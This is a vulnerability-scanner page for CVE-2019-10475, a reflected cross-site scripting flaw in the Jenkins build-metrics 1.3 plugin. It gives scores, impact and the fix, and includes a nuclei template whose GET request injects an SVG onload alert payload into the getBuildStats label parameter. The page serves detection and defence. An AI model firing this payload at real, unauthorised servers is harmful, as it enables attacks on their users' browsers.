Jenkins build-metrics 1.3 - Cross-Site Scripting

mediumseverity

6.1CVSS score

57.7%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

Jenkins build-metrics 1.3 is vulnerable to a reflected cross-site scripting vulnerability that allows attackers to inject arbitrary HTML and JavaScript into the web pages the plugin provides.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary scripts in the context of the victim's browser, leading to potential data theft or unauthorized actions.

Fix

Upgrade to a patched version of the Jenkins build-metrics plugin or apply the necessary fixes provided by the vendor.

How to confirm it

Send: GET {{BaseURL}}/plugin/build-metrics/getBuildStats?label=%22%3E%3Csvg%2Fonload%3Dalert(1337)%3E&range=2&rangeUnits=Weeks&jobFilteringType=ALL&jobFilter=&…
Positive when: contains "<svg/onload=alert(1337)>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2019-10475 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2019-10475

info:
  name: Jenkins build-metrics 1.3 - Cross-Site Scripting
  author: madrobot
  severity: medium
  description: Jenkins build-metrics 1.3 is vulnerable to a reflected cross-site scripting vulnerability that allows attackers to inject arbitrary HTML and JavaScript into the web pages the plugin provides.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary scripts in the context of the victim's browser, leading to potential data theft or unauthorized actions.
  remediation: |
    Upgrade to a patched version of the Jenkins build-metrics plugin or apply the necessary fixes provided by the vendor.
  reference:
    - https://jenkins.io/security/advisory/2019-10-23/#SECURITY-1490
    - http://www.openwall.com/lists/oss-security/2019/10/23/2
    - http://packetstormsecurity.com/files/155200/Jenkins-Build-Metrics-1.3-Cross-Site-Scripting.html
    - https://nvd.nist.gov/vuln/detail/CVE-2019-10475
    - https://github.com/reph0r/poc-exp
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-10475
    cwe-id: CWE-79
    epss-score: 0.57735
    epss-percentile: 0.99091
    cpe: cpe:2.3:a:jenkins:build-metrics:*:*:*:*:*:jenkins:*:*
  metadata:
    max-request: 1
    vendor: jenkins
    product: build-metrics
    framework: jenkins
  tags: cve,cve2019,jenkins,xss,plugin,packetstorm,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/plugin/build-metrics/getBuildStats?label=%22%3E%3Csvg%2Fonload%3Dalert(1337)%3E&range=2&rangeUnits=Weeks&jobFilteringType=ALL&jobFilter=&nodeFilteringType=ALL&nodeFilter=&launcherFilteringType=ALL&launcherFilter=&causeFilteringType=ALL&causeFilter=&Jenkins-Crumb=4412200a345e2a8cad31f07e8a09e18be6b7ee12b1b6b917bc01a334e0f20a96&json=%7B%22label%22%3A+%22Search+Results%22%2C+%22range%22%3A+%222%22%2C+%22rangeUnits%22%3A+%22Weeks%22%2C+%22jobFilteringType%22%3A+%22ALL%22%2C+%22jobNameRegex%22%3A+%22%22%2C+%22jobFilter%22%3A+%22%22%2C+%22nodeFilteringType%22%3A+%22ALL%22%2C+%22nodeNameRegex%22%3A+%22%22%2C+%22nodeFilter%22%3A+%22%22%2C+%22launcherFilteringType%22%3A+%22ALL%22%2C+%22launcherNameRegex%22%3A+%22%22%2C+%22launcherFilter%22%3A+%22%22%2C+%22causeFilteringType%22%3A+%22ALL%22%2C+%22causeNameRegex%22%3A+%22%22%2C+%22causeFilter%22%3A+%22%22%2C+%22Jenkins-Crumb%22%3A+%224412200a345e2a8cad31f07e8a09e18be6b7ee12b1b6b917bc01a334e0f20a96%22%7D&Submit=Search"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<svg/onload=alert(1337)>"

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from